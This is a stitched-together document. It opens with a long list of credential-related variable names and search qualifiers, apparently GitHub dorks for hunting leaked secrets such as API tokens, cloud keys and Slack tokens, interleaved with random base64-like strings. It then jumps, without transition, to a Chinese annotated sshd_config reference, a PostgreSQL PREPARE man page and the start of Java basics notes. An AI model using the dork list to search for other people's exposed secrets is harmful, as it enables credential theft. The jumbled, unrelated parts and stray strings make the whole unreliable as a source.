- NPM_CONFIG_STRICT_SSL=
- NPM_EMAIL=
- NPM_PASSWORD=
- NPM_SECRET_KEY=
- NPM_TOKEN=
- NPM_USERNAME=
- NQc8MDWYiWa1UUKW1cqms=
- NtkUXxwH10BDMF7FMVlQ4zdHQvyZ0=
- NUGET_API_KEY=
- NUGET_APIKEY=
- NUGET_KEY=
- NUMBERS_SERVICE=
- NUMBERS_SERVICE_PASS=
- NUMBERS_SERVICE_USER=
- NUNIT=
- OAUTH_TOKEN=
- OBJECT_STORAGE
- OBJECT_STORAGE_INCOMING_CONTAINER_NAME=
- OBJECT_STORAGE_PASSWORD=
- OBJECT_STORAGE_PROJECT_ID=
- OBJECT_STORAGE_USER_ID=
- OBJECT_STORE_BUCKET=
- OBJECT_STORE_CREDS=
- OC_PASS=
- OCTEST_APP_PASSWORD=
- OCTEST_APP_USERNAME=
- OCTEST_PASSWORD=
- OCTEST_SERVER_BASE_URL=
- OCTEST_SERVER_BASE_URL_2=
- OCTEST_USERNAME=
- OFTA
- OFTA_KEY=
- OFTA_SECRET=
- oFYEk7ehNjGZC268d7jep5p5EaJzch5ai14=
- OKTA_AUTHN_ITS_MFAENROLLGROUPID=
- OKTA_CLIENT_ORG_URL=
- OKTA_CLIENT_ORGURL=
- OKTA_CLIENT_TOKEN=
- OKTA_DOMAIN=
- OKTA_OAUTH2_CLIENT_ID=
- OKTA_OAUTH2_CLIENT_SECRET=
- OKTA_OAUTH2_CLIENTID=
- OKTA_OAUTH2_CLIENTSECRET=
- OKTA_OAUTH2_ISSUER=
- OMISE_KEY=
- OMISE_PKEY=
- OMISE_PUBKEY=
- OMISE_SKEY=
- ONESIGNAL_API_KEY=
- ONESIGNAL_USER_AUTH_KEY=
- OPEN_WHISK_KEY=
- OPENWHISK_KEY=
- org.gradle.daemon=
- ORG=
- ORG_GRADLE_PROJECT_cloudinary.url=
- ORG_GRADLE_PROJECT_cloudinaryUrl=
- ORG_GRADLE_PROJECT_SONATYPE_NEXUS_PASSWORD=
- ORG_GRADLE_PROJECT_SONATYPE_NEXUS_USERNAME=
- ORG_ID=
- ORG_PROJECT_GRADLE_SONATYPE_NEXUS_PASSWORD=
- ORG_PROJECT_GRADLE_SONATYPE_NEXUS_USERNAME=
- OS
- OS_AUTH_URL=
- OS_PASSWORD=
- OS_PROJECT_NAME=
- OS_TENANT_ID=
- OS_TENANT_NAME=
- OS_USERNAME=
- OSSRH_JIRA_PASSWORD=
- OSSRH_JIRA_USERNAME=
- OSSRH_PASS=
- OSSRH_PASSWORD=
- OSSRH_SECRET=
- OSSRH_USER=
- OSSRH_USERNAME=
- p8qojUzqtAhPMbZ8mxUtNukUI3liVgPgiMss96sG0nTVglFgkkAkEjIMFnqMSKnTfG812K4jIhp2jCO2Q3NeI=
- PACKAGECLOUD_TOKEN=
- PAGERDUTY=
- PAGERDUTY_APIKEY=
- PAGERDUTY_ESCALATION_POLICY_ID=
- PAGERDUTY_FROM_USER=
- PAGERDUTY_PRIORITY_ID=
- PAGERDUTY_SERVICE_ID=
- PANTHEON_SITE=
- PARSE_APP_ID=
- PARSE_JS_KEY=
- PASS=
- PASSWORD=
- passwordTravis=
- PAT=
- path:sites databases password
- PATH=
- PAYPAL_CLIENT_ID=
- PAYPAL_CLIENT_SECRET=
- PERCY_PROJECT=
- PERCY_TOKEN=
- PERSONAL_KEY=
- PERSONAL_SECRET=
- PG_DATABASE=
- PG_HOST=
- pHCbGBA8L7a4Q4zZihD3HA=
- PHP_BUILT_WITH_GNUTLS=
- PLACES_API_KEY=
- PLACES_APIKEY=
- PLACES_APPID=
- PLACES_APPLICATION_ID=
- PLOTLY_APIKEY=
- PLOTLY_USERNAME=
- PLUGIN_PASSWORD=
- PLUGIN_USERNAME=
- pLytpSCciF6t9NqqGZYbBomXJLaG84=
- POLL_CHECKS_CRON=
- POLL_CHECKS_TIMES=
- PORT=
- POSTGRES_ENV_POSTGRES_DB=
- POSTGRES_ENV_POSTGRES_PASSWORD=
- POSTGRES_ENV_POSTGRES_USER=
- POSTGRES_PORT=
- POSTGRESQL_DB=
- POSTGRESQL_PASS=
- PREBUILD_AUTH=
- preferred_username=
- PRING.MAIL.USERNAME=
- private -language:java
- PRIVATE_SIGNING_PASSWORD=
- PROD.ACCESS.KEY.ID=
- PROD.SECRET.KEY=
- PROD_BASE_URL_RUNSCOPE=
- PROD_PASSWORD=
- PROD_USERNAME=
- PROJECT_CONFIG=
- props.disabled=
- PT_TOKEN language:bash
- PUBLISH_ACCESS=
- PUBLISH_KEY=
- PUBLISH_SECRET=
- PUSHOVER_TOKEN=
- PUSHOVER_USER=
- PYPI_PASSOWRD=
- PYPI_PASSWORD=
- PYPI_USERNAME=
- Q67fq4bD04RMM2RJAS6OOYaBF1skYeJCblwUk=
- Q=
- QIITA=
- QIITA_TOKEN=
- qQ=
- query=
- QUIP_TOKEN=
- RABBITMQ_PASSWORD=
- RABBITMQ_SERVER_ADDR=
- raisesAccessibilityExceptions=
- RANDRMUSICAPIACCESSTOKEN=
- rBezlxWRroeeKcM2DQqiEVLsTDSyNZV9kVAjwfLTvM=
- rds.amazonaws.com password
- REDIRECT_URI=
- REDIS_STUNNEL_URLS=
- REDISCLOUD_URL=
- REFRESH_TOKEN=
- RELEASE_GH_TOKEN=
- RELEASE_TOKEN=
- remoteUserToShareTravis=
- REPO=
- REPORTING_WEBDAV_PWD=
- REPORTING_WEBDAV_URL=
- REPORTING_WEBDAV_USER=
- repoToken=
- REST_API_KEY=
- RestoreUseCustomAfterTargets=
- rI=
- RINKEBY_PRIVATE_KEY=
- RND_SEED=
- ROPSTEN_PRIVATE_KEY=
- rotatable=
- route53_access_key_id=
- RTD_ALIAS=
- RTD_KEY_PASS=
- RTD_STORE_PASS=
- rTwPXE9XlKoTn9FTWnAqF3MuWaLslDcDKYEh7OaYJjF01piu6g4Nc=
- RUBYGEMS_AUTH_TOKEN=
- RUNSCOPE_TRIGGER_ID=
- S3-EXTERNAL-3.AMAZONAWS.COM=
- S3.AMAZONAWS.COM=
- s3_access_key=
- S3_ACCESS_KEY_ID=
- S3_BUCKET_NAME_APP_LOGS=
- S3_BUCKET_NAME_ASSETS=
- S3_KEY=
- S3_KEY_APP_LOGS=
- S3_KEY_ASSETS=
- S3_PHOTO_BUCKET=
- S3_SECRET_APP_LOGS=
- S3_SECRET_ASSETS=
- S3_SECRET_KEY=
- S3_USER_ID=
- S3_USER_SECRET=
- SACLOUD_ACCESS_TOKEN=
- SACLOUD_ACCESS_TOKEN_SECRET=
- SACLOUD_API=
- SALESFORCE_BULK_TEST_PASSWORD=
- SALESFORCE_BULK_TEST_SECURITY_TOKEN=
- SALESFORCE_BULK_TEST_USERNAME=
- SALT=
- SANDBOX_ACCESS_TOKEN=
- SANDBOX_AWS_ACCESS_KEY_ID=
- SANDBOX_AWS_SECRET_ACCESS_KEY=
- SANDBOX_LOCATION_ID=
- SAUCE_ACCESS_KEY=
- SAUCE_USERNAME=
- scope=
- SCRUTINIZER_TOKEN=
- SDM4=
- sdr-token=
- SECRET ACCESS KEY=
- SECRET=
- SECRET_0=
- SECRET_1=
- SECRET_2=
- SECRET_3=
- SECRET_4=
- SECRET_5=
- SECRET_6=
- SECRET_7=
- SECRET_8=
- SECRET_9=
- SECRET_10=
- SECRET_11=
- SECRET_KEY_BASE=
- SECRETACCESSKEY=
- SECRETKEY=
- SEGMENT_API_KEY=
- SELION_LOG_LEVEL_DEV=
- SELION_LOG_LEVEL_USER=
- SELION_SELENIUM_HOST=
- SELION_SELENIUM_PORT=
- SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE=
- SELION_SELENIUM_USE_SAUCELAB_GRID=
- SENDGRID=
- SENDGRID_API_KEY=
- SENDGRID_FROM_ADDRESS=
- SENDGRID_KEY=
- SENDGRID_PASSWORD=
- SENDGRID_USER=
- SENDGRID_USERNAME=
- SENDWITHUS_KEY=
- SENTRY_AUTH_TOKEN=
- SENTRY_DEFAULT_ORG=
- SENTRY_ENDPOINT=
- SERVERAPI_SERVER_ADDR=
- SERVICE_ACCOUNT_SECRET=
- SES_ACCESS_KEY=
- SES_SECRET_KEY=
- setDstAccessKey=
- setDstSecretKey=
- setSecretKey=
- setWindowRect=
- SF_USERNAME salesforce
- SGcUKGqyoqKnUg=
- shodan_api_key language:json
- shodan_api_key language:python
- shodan_api_key language:ruby
- shodan_api_key language:shell
- SIGNING_KEY=
- SIGNING_KEY_PASSWORD=
- SIGNING_KEY_SECRET=
- SIGNING_KEY_SID=
- SK[a-z0-9]{32}
- SLACK_CHANNEL=
- SLACK_ROOM=
- SLACK_WEBHOOK_URL=
- SLASH_DEVELOPER_SPACE=
- SLASH_DEVELOPER_SPACE_KEY=
- SLATE_USER_EMAIL=
- SNOOWRAP_CLIENT_ID=
- SNOOWRAP_CLIENT_SECRET=
- SNOOWRAP_PASSWORD=
- SNOOWRAP_REDIRECT_URI=
- SNOOWRAP_REFRESH_TOKEN=
- SNOOWRAP_USER_AGENT=
- SNOOWRAP_USERNAME=
- SNYK_API_TOKEN=
- SNYK_ORG_ID=
- SNYK_TOKEN=
- SOCRATA_APP_TOKEN=
- SOCRATA_PASSWORD=
- SOCRATA_USER=
- SOCRATA_USERNAME=
- SOME_VAR=
- SOMEVAR=
- SONA_TYPE_NEXUS_USERNAME=
- SONAR_ORGANIZATION_KEY=
- SONAR_PROJECT_KEY=
- SONAR_TOKEN=
- SONATYPE_GPG_KEY_NAME=
- SONATYPE_GPG_PASSPHRASE=
- SONATYPE_NEXUS_PASSWORD=
- SONATYPE_NEXUS_USERNAME=
- SONATYPE_PASS=
- SONATYPE_PASSWORD=
- SONATYPE_TOKEN_PASSWORD=
- SONATYPE_TOKEN_USER=
- SONATYPE_USER=
- SONATYPE_USERNAME=
- sonatypePassword=
- sonatypeUsername=
- SOUNDCLOUD_CLIENT_ID=
- SOUNDCLOUD_CLIENT_SECRET=
- SOUNDCLOUD_PASSWORD=
- SOUNDCLOUD_USERNAME=
- SPA_CLIENT_ID=
- SPACE=
- SPACES_ACCESS_KEY_ID=
- SPACES_SECRET_ACCESS_KEY=
- SPOTIFY_API_ACCESS_TOKEN=
- SPOTIFY_API_CLIENT_ID=
- SPOTIFY_API_CLIENT_SECRET=
- SPRING.MAIL.PASSWORD=
- SQS_NOTIFICATIONS_INTERNAL=
- sqsAccessKey=
- sqsSecretKey=
- SQUARE_READER_SDK_REPOSITORY_PASSWORD=
- SRC_TOPIC=
- SRCCLR_API_TOKEN=
- SSHPASS=
- SSMTP_CONFIG=
- STAGING_BASE_URL_RUNSCOPE=
- STAR_TEST_AWS_ACCESS_KEY_ID=
- STAR_TEST_BUCKET=
- STAR_TEST_LOCATION=
- STAR_TEST_SECRET_ACCESS_KEY=
- STARSHIP_ACCOUNT_SID=
- STARSHIP_AUTH_TOKEN=
- STORMPATH_API_KEY_ID=
- STORMPATH_API_KEY_SECRET=
- STRIP_PUBLISHABLE_KEY=
- STRIP_SECRET_KEY=
- STRIPE_PRIVATE=
- STRIPE_PUBLIC=
- SUBDOMAIN=
- SURGE_LOGIN=
- SURGE_TOKEN=
- SVN_PASS=
- SVN_USER=
- takesElementScreenshot=
- takesHeapSnapshot=
- takesScreenshot=
- TCfbCZ9FRMJJ8JnKgOpbUW7QfvDDnuL4YOPHGcGb6mG413PZdflFdGgfcneEyLhYI8SdlU=
- TEAM_EMAIL=
- ted_517c5824cb79_iv=
- TESCO_API_KEY=
- test=
- TEST_GITHUB_TOKEN=
- TEST_TEST=
- tester_keys_password=
- THERA_OSS_ACCESS_ID=
- THERA_OSS_ACCESS_KEY=
- TN8HHBZB9CCFozvq4YI5jS7oSznjTFIf1fJM=
- TOKEN=
- token_core_java=
- TRAVIS_ACCESS_TOKEN=
- TRAVIS_API_TOKEN=
- TRAVIS_BRANCH=
- TRAVIS_COM_TOKEN=
- TRAVIS_E2E_TOKEN=
- TRAVIS_GH_TOKEN=
- TRAVIS_PULL_REQUEST=
- TRAVIS_SECURE_ENV_VARS=
- TRAVIS_TOKEN=
- TREX_CLIENT_ORGURL=
- TREX_CLIENT_TOKEN=
- TREX_OKTA_CLIENT_ORGURL=
- TREX_OKTA_CLIENT_TOKEN=
- TRIGGER_API_COVERAGE_REPORTER=
- TRV=
- TWILIO_ACCOUNT_ID=
- TWILIO_ACCOUNT_SID=
- TWILIO_API_KEY=
- TWILIO_API_SECRET=
- TWILIO_CHAT_ACCOUNT_API_SERVICE=
- TWILIO_CONFIGURATION_SID=
- TWILIO_SID=
- TWILIO_TOKEN=
- TWILO=
- TWINE_PASSWORD=
- TWINE_USERNAME=
- TWITTER=
- TWITTER_CONSUMER_KEY=
- TWITTER_CONSUMER_SECRET=
- TWITTEROAUTHACCESSSECRET=
- TWITTEROAUTHACCESSTOKEN=
- UAusaB5ogMoO8l2b773MzgQeSmrLbExr9BWLeqEfjC2hFgdgHLaQ=
- udKwT156wULPMQBacY=
- uiElement=
- uk=
- UNITY_PASSWORD=
- UNITY_SERIAL=
- UNITY_USERNAME=
- URBAN_KEY=
- URBAN_MASTER_SECRET=
- URBAN_SECRET=
- URL=
- US-EAST-1.ELB.AMAZONAWS.COM=
- USABILLA_ID=
- USE_SAUCELABS=
- USE_SSH=
- user=
- USER_ASSETS_ACCESS_KEY_ID=
- USER_ASSETS_SECRET_ACCESS_KEY=
- USERNAME=
- userToShareTravis=
- userTravis=
- UzhH1VoXksrNQkFfc78sGxD0VzLygdDJ7RmkZPeBiHfX1yilToi1yrlRzRDLo46LvSEEiawhTa1i9W3UGr3p4LNxOxJr9tR9AjUuIlP21VEooikAhRf35qK0=
- V3GNcE1hYg=
- V_SFDC_CLIENT_ID=
- V_SFDC_CLIENT_SECRET=
- V_SFDC_PASSWORD=
- V_SFDC_USERNAME=
- VAULT_ADDR=
- VAULT_APPROLE_SECRET_ID=
- VAULT_PATH=
- VIP_GITHUB_BUILD_REPO_DEPLOY_KEY=
- VIP_GITHUB_DEPLOY_KEY=
- VIP_GITHUB_DEPLOY_KEY_PASS=
- VIP_TEST=
- VIRUSTOTAL_APIKEY=
- VISUAL_RECOGNITION_API_KEY=
- VSCETOKEN=
- VU8GYF3BglCxGAxrMW9OFpuHCkQ=
- vzG6Puz8=
- WAKATIME_API_KEY=
- WAKATIME_PROJECT=
- WATSON_CLIENT=
- WATSON_CONVERSATION_PASSWORD=
- WATSON_CONVERSATION_USERNAME=
- WATSON_CONVERSATION_WORKSPACE=
- WATSON_DEVICE=
- WATSON_DEVICE_PASSWORD=
- WATSON_DEVICE_TOPIC=
- WATSON_PASSWORD=
- WATSON_TEAM_ID=
- WATSON_TOPIC=
- WATSON_USERNAME=
- WEB_CLIENT_ID=
- webdavBaseUrlTravis=
- WEBHOOK_URL=
- webStorageEnabled=
- WIDGET_BASIC_PASSWORD=
- WIDGET_BASIC_PASSWORD_2=
- WIDGET_BASIC_PASSWORD_3=
- WIDGET_BASIC_PASSWORD_4=
- WIDGET_BASIC_PASSWORD_5=
- WIDGET_BASIC_USER=
- WIDGET_BASIC_USER_2=
- WIDGET_BASIC_USER_3=
- WIDGET_BASIC_USER_4=
- WIDGET_BASIC_USER_5=
- WIDGET_FB_PASSWORD=
- WIDGET_FB_PASSWORD_2=
- WIDGET_FB_PASSWORD_3=
- WIDGET_FB_USER=
- WIDGET_FB_USER_2=
- WIDGET_FB_USER_3=
- WIDGET_TEST_SERVER=
- WINCERT_PASSWORD=
- WORDPRESS_DB_PASSWORD=
- WORDPRESS_DB_USER=
- WORKSPACE_ID=
- WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY=
- WPORG_PASSWORD=
- WPT_DB_HOST=
- WPT_DB_NAME=
- WPT_DB_PASSWORD=
- WPT_DB_USER=
- WPT_PREPARE_DIR=
- WPT_REPORT_API_KEY=
- WPT_SSH_CONNECT=
- WPT_SSH_PRIVATE_KEY_BASE64=
- WPT_TEST_DIR=
- WsleZEJBve7AFYPzR1h6Czs072X4sQlPXedcCHRhD48WgbBX0IfzTiAYCuG0=
- WvETELcH2GqdnVPIHO1H5xnbJ8k=
- WVNmZ40V1Lt0DYC2c6lzWwiJZFsQIXIRzJcubcwqKRoMelkbmKHdeIk=
- WWW.GOOGLEAPIS.COM=
- XJ7lElT4Jt9HnUw=
- xoxp OR xoxb
- xsax=
- xsixFHrha3gzEAwa1hkOw6kvzR4z9dx0XmpvORuo1h4Ag0LCxAR70ZueGyStqpaXoFmTWB1z0WWwooAd0kgDwMDSOcH60Pv4mew=
- Y8=
- YANGSHUN_GH_PASSWORD=
- YANGSHUN_GH_TOKEN=
- YEi8xQ=
- YHrvbCdCrtLtU=
- YO0=
- Yszo3aMbp2w=
- YT_ACCOUNT_CHANNEL_ID=
- YT_ACCOUNT_CLIENT_ID=
- YT_ACCOUNT_CLIENT_SECRET=
- YT_ACCOUNT_REFRESH_TOKEN=
- YT_API_KEY=
- YT_CLIENT_ID=
- YT_CLIENT_SECRET=
- YT_PARTNER_CHANNEL_ID=
- YT_PARTNER_CLIENT_ID=
- YT_PARTNER_CLIENT_SECRET=
- YT_PARTNER_ID=
- YT_PARTNER_REFRESH_TOKEN=
- YT_SERVER_API_KEY=
- YVxUZIA4Cm9984AxbYJGSk=
- zendesk-travis-github=
- zenSonatypePassword=
- zenSonatypeUsername=
- zf3iG1I1lI8pU=
- zfp2yZ8aP9FHSy5ahNjqys4FtubOWLk=
- ZHULIANG_GH_TOKEN=
- ZOPIM_ACCOUNT_KEY=
- ZZiigPX7RCjq5XHbzUpPpMbC8MFxT2K3jcFXUitfwZvNaZXJIiK3ZQJU4ayKaegLvI91x1SqH0=
plJ2V12nLpOPwY6zTtzcoTxEN6wcvUJfHAdNovpp63hWTnbAbEZamIdxwyCqpzThDobeD354TeXFUaKvrUw00iAiIhGL2QvwapaCbhlwM6NQAmdU3tMy3nZpka6bRI1kjyTh7CXfd- wXV98ZJSiPdUFxyIgFNI2dKiL3BI1pvFDfq3mnmi3WqzZHCaQqDKNEtUrzxC40swIJGLcLUiqc5xX37P47jNDWrNIRDs8IdbM0tS9pFM=
|
sec-knowleage
|
# ssh
---
## 配置文件
sshd 配置文件是 : /etc/ssh/sshd_config
```bash
Port 22 # 设置 ssh 监听的端口号，默认 22 端口
ListenAddress 0.0.0.0 # 指定监听的地址，默认监听所有；
Protocol 2,1 # 指定支持的 SSH 协议的版本号。'1'和'2'表示仅仅支持 SSH-1 和 SSH-2 协议。"2,1" 表示同时支持 SSH-1 和 SSH-2 协议。
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
# HostKey 是主机私钥文件的存放位置;
# SSH-1 默认是 /etc/ssh/ssh_host_key 。
# SSH-2 默认是 /etc/ssh/ssh_host_rsa_key 和 /etc/ssh/ssh_host_dsa_key 。一台主机可以拥有多个不同的私钥。"rsa1" 仅用于 SSH-1，"dsa" 和 "rsa" 仅用于 SSH-2。
UsePrivilegeSeparation yes # 是否通过创建非特权子进程处理接入请求的方法来进行权限分离。默认值是"yes"。 认证成功后，将以该认证用户的身份创另一个子进程。这样做的目的是为了防止通过有缺陷的子进程提升权限，从而使系统更加安全。
KeyRegenerationInterval 3600 # 在 SSH-1 协议下，短命的服务器密钥将以此指令设置的时间为周期 (秒)，不断重新生成；这个机制可以尽量减小密钥丢失或者黑客攻击造成的损失。设为 0 表示永不重新生成为 3600(秒)。
ServerKeyBits 1024 # 指定服务器密钥的位数
SyslogFacility AUTH # 指定将日志消息通过哪个日志子系统 (facility) 发送。有效值是：DAEMON, USER, AUTH(默认), LOCAL0, LOCAL1, LOCAL2, LOCAL3,LOCAL4, LOCAL5,LOCAL6, LOCAL7
LogLevel INFO # 指定日志等级(详细程度)。可用值如下: QUIET, FATAL, ERROR, INFO(默认), VERBOSE, DEBUG, DEBUG1, DEBUG2, DEBUG3
# DEBUG 与 DEBUG1 等价；
# DEBUG2 和 DEBUG3 则分别指定了更详细、更罗嗦的日志输出。比 DEBUG 更详细的日志可能会泄漏用户的敏感信息，因此反对使用。
LoginGraceTime 120 # 限制用户必须在指定的时限 (单位秒) 内认证成功，0 表示无限制。默认值是 120 秒; 如果用户不能成功登录，在用户切断连接之前服务器需要等待 120 秒。
PermitRootLogin yes
# 是否允许 root 登录。可用值如下："yes"(默认) 表示允许。
#"no" 表示禁止。
# "without-password" 表示禁止使用密码认证登录。
# "forced-commands-only" 表示只有在指定了 command 选项的情况下才允许使用公钥认证登录，同时其它认证方法全部被禁止。这个值常用于做远程备份之类的事情。
StrictModes yes # 指定是否要求 sshd(8) 在接受连接请求前对用户主目录和相关的配置文件 进行宿主和权限检查。强烈建议使用默认值"yes"来预防可能出现的低级错误。
RSAAuthentication yes # 是否允许使用纯 RSA 公钥认证。仅用于 SSH-1。默认值是 "yes"。
PubkeyAuthentication yes # 是否允许公钥认证。仅可以用于 SSH-2。默认值为 "yes"。
IgnoreRhosts yes # 是否取消使用 ~/.ssh/.rhosts 来做为认证。推荐设为 yes。
RhostsRSAAuthentication no # 这个选项是专门给 version 1 用的，使用 rhosts 档案在 /etc/hosts.equiv 配合 RSA 演算方式来进行认证！推荐 no。
HostbasedAuthentication no # 这个与上面的项目类似，不过是给 version 2 使用的
IgnoreUserKnownHosts no # 是否在 RhostsRSAAuthentication 或 HostbasedAuthentication 过程中忽略用户的 ~/.ssh/known_hosts 文件。默认值是 "no"。为了提高安全性，可以设为 "yes"。
PermitEmptyPasswords no # 是否允许密码为空的用户远程登录。默认为 "no"。
ChallengeResponseAuthentication no # 是否允许质疑 - 应答 (challenge-response) 认证。默认值是 "yes"，所有 login.conf 中允许的认证方式都被支持。
PasswordAuthentication yes # 是否允许使用基于密码的认证。默认为 "yes"。
KerberosAuthentication no # 是否要求用户为 PasswordAuthentication 提供的密码必须通 过 Kerberos KDC 认证，也就是是否使用 Kerberos 认证。使用 Kerberos 认证，服务器需要一个可以校验 KDC identity 的 Kerberos servtab 。默认值是 "no"。
KerberosGetAFSToken no # 如果使用了 AFS 并且该用户有一个 Kerberos 5 TGT，那么开启该指令后, 将会在访问用户的家目录前尝试获取一个 AFS token 。默认为 "no"。
KerberosOrLocalPasswd yes # 如果 Kerberos 密码认证失败，那么该密码还将要通过其它的认证机制(比如 /etc/passwd)。默认值为"yes"。
KerberosTicketCleanup yes # 是否在用户退出登录后自动销毁用户的 ticket 。默认 "yes"。
GSSAPIAuthentication no # 是否允许使用基于 GSSAPI 的用户认证。默认值为 "no"。仅用 于 SSH-2。
GSSAPICleanupCredentials yes # 是否在用户退出登录后自动销毁用户凭证缓存。默认值是 "yes"。仅用于 SSH-2。
X11Forwarding no # 是否允许进行 X11 转发。默认值是 "no"，设为 "yes" 表示允许。如果允许 X11 转发并且 sshd 代理的显示区被配置为在含有通配符的地址 (X11UseLocalhost) 上监听。那么将可能有额外的信息被泄漏。由于使用 X11 转发的可能带来的风险，此指令默认值为 "no"。需要注意的是，禁止 X11 转发并不能禁止用户转发 X11 通信，因为用户可以安装他们自己的转发器。如果启用了 UseLogin ，那么 X11 转发将被自动禁止。
X11DisplayOffset 10 # 指定 X11 转发的第一个可用的显示区 (display) 数字。默认值是 10 。这个可以用于防止 sshd 占用了真实的 X11 服务器显示区，从而发生混淆。
PrintMotd no # 登入后是否显示出一些信息呢？例如上次登入的时间、地点等等，预设是 yes ，但是，如果为了安全，可以考虑改为 no ！
PrintLastLog yes # 指定是否显示最后一位用户的登录时间。默认值是 "yes"
TCPKeepAlive yes # 指定系统是否向客户端发送 TCP keepalive 消息。默认值是 "yes"。这种消息可以检测到死连接、连接不当关闭、客户端崩溃等异常。可以设为 "no" 关闭这个特性。
UseLogin no # 是否在交互式会话的登录过程中使用 login。默认值是 "no"。如果开启此指令，那么 X11Forwarding 将会被禁止，因为 login 不知道如何处理 xauth cookies 。需要注意的是，login 是禁止用于远程执行命令的。如果指定了 UsePrivilegeSeparation ，那么它将在认证完成后被禁用。
MaxStartups 10 # 最大允许保持多少个未认证的连接。默认值是 10 。到达限制后，将不再接受新连接，除非先前的连接认证成功或超出 LoginGraceTime 的限制。
MaxAuthTries 6 # 指定每个连接最大允许的认证次数。默认值是 6 。如果失败认证的次数超过这个数值的一半，连接将被强制断开，且会生成额外的失败日志消息。
UseDNS no # 指定是否应该对远程主机名进行反向解析，以检查此主机名是否与其 IP 地址真实对应。
Banner /etc/issue.net # 将这个指令指定的文件中的内容在用户进行认证前显示给远程用户。这个特性仅能用于 SSH-2，默认什么内容也不显示。"none" 表示禁用这个特性。
Subsystem sftp /usr/lib/openssh/sftp-server # 配置一个外部子系统 (例如，一个文件传输守护进程)。仅用于 SSH-2 协议。值是一个子系统的名字和对应的命令行 (含选项和参数)。
UsePAM yes # 是否使用 PAM 模块认证
```
---
## Source & Reference
- https://blog.51cto.com/xujpxm/1717862
- https://www.agwa.name/blog/post/ssh_signatures
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PREPARE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
PREPARE \- 创建一个准备好的查询
.SH SYNOPSIS
.sp
.nf
PREPARE \fIplan_name\fR [ (\fIdatatype\fR [, ...] ) ] AS \fIstatement\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBPREPARE\fR 创建一个已准备好的查询。 一个已准备好的查询是服务器端的对象，可以用于优化性能。 在执行 PREPARE 语句的时候，指定的查询被分析，重写以及规划。 当随后发出 EXECUTE 语句的时候， 已准备好的查询就只需要执行了。因此，分析，重写，以及规划阶段都只执行一次，而不是每次查询执行的时候都要执行一次。
.PP
准备好的查询可以接受参数：在它执行的时候替换到查询中的数值。 要给一个准备好的查询声明参数，我们需要在 PREPARE 语句里包含一个数据类型的列表。在查询本身里，你可以按照位置来引用这些参数， 比如 $1，$2，等。 在执行查询的时候，在 EXECUTE 语句里为这些参数声明实际的数值。 参考 EXECUTE [\fBexecute\fR(7)] 获取更多信息。
.PP
准备好的查询是在本地存储的（在当前后端里），并且只是在当前数据库会话的过程中存在。 如果客户端退出，那么准备好的查询就会被遗忘，因此我们必须在被重新使用之前重新创建。 这也意味着一个准备好的查询不能被多个同时的数据库客户端使用； 但是，每个客户端可以创建它们自己的已准备好的查询来使用。
.PP
如果一个会话准备用于执行大量类似的查询，那么已准备好的查询可以获得最大限度的性能优势。 如果查询非常复杂，需要复杂的规划或者重写，那么性能差距将非常明显。 比如，如果查询设计许多表的连接，或者有多种规则要求应用。如果查询的规划和重写相对简单， 而执行起来开销相当大，那么已准备好的查询的性能优势就不那么明显。
.SH "PARAMETERS 参数"
.TP
\fB\fIplan_name\fB\fR
给予这个特定的已准备好查询的任意名字。它必须在一个会话中是唯一的， 并且用于执行或者删除一个前面准备好的查询。
.TP
\fB\fIdatatype\fB\fR
已准备好查询的某个参数的数据类型。要在已准备好查询内部引用这个参数，使用 $1，$2，等。
.TP
\fB\fIstatement\fB\fR
任何 \fBSELECT\fR, \fBINSERT\fR, \fBUPDATE\fR,
或 \fBDELETE\fR 语句。
.SH "NOTES 注意"
.PP
在一些情况下，PostgreSQL 为一个已准备好的查询生成的查询规划可能还不如按照普通方法提交并执行的查询生成的规划好。 这是因为该查询在被规划的时候（也是优化器视图判断最优查询规划的时候）， 在查询中声明的任何参数的实际数值都还不可见。 PostgreSQL 在表中收集数据分布的统计， 而且可以利用查询中的常量来猜测执行查询的可能结果。 因为这些数据在准备哪种带参数的查询的规划的时候还不可得， 所以，选出来得规划可能是次好的。 要检查 PostgreSQL 为已准备好的查询选取的查询计划， 使用 \fBEXPLAIN EXECUTE\fR 。
.PP
有关查询规划和 PostgreSQL 为查询优化的目的收集的统计的更多信息， 参阅 ANALYZE [\fBanalyze\fR(7)]
文档。
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准包含一个 PREPARE 语句， 但是它只用于嵌入的 SQL 客户端。PostgreSQL 实现的 PREPARE 语句的语法也略有不同。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Java 基础
<!-- GFM-TOC -->
* [Java 基础](#java-基础)
* [一、数据类型](#一数据类型)
* [基本类型](#基本类型)
* [包装类型](#包装类型)
* [缓存池](#缓存池)
* [二、String](#二string)
* [概览](#概览)
* [不可变的好处](#不可变的好处)
* [String, StringBuffer and StringBuilder ](#string-stringbuffer-and-stringbuilder )
* [String Pool](#string-pool)
* [new String("abc")](#new-stringabc)
* [三、运算](#三运算)
* [参数传递](#参数传递)
* [float 与 double](#float-与-double)
* [隐式类型转换](#隐式类型转换)
* [switch](#switch)
* [四、关键字](#四关键字)
* [final](#final)
* [static](#static)
* [五、Object 通用方法](#五object-通用方法)
* [概览](#概览)
* [equals()](#equals)
* [hashCode()](#hashcode)
* [toString()](#tostring)
* [clone()](#clone)
* [六、继承](#六继承)
* [访问权限](#访问权限)
* [抽象类与接口](#抽象类与接口)
* [super](#super)
* [重写与重载](#重写与重载)
* [七、反射](#七反射)
* [八、异常](#八异常)
* [九、泛型](#九泛型)
* [十、注解](#十注解)
* [十一、特性](#十一特性)
* [Java 各版本的新特性](#java-各版本的新特性)
* [Java 与 C++ 的区别](#java-与-c-的区别)
* [JRE or JDK](#jre-or-jdk)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、数据类型
### 基本类型
- byte/8
- char/16
- short/16
- int/32
- float/32
- long/64
- double/64
- boolean/\~
boolean 只有两个值：true、false，可以使用 1 bit 来存储，但是具体大小没有明确规定。JVM 会在编译时期将 boolean 类型的数据转换为 int，使用 1 来表示 true，0 表示 false。JVM 支持 boolean 数组，但是是通过读写 byte 数组来实现的。
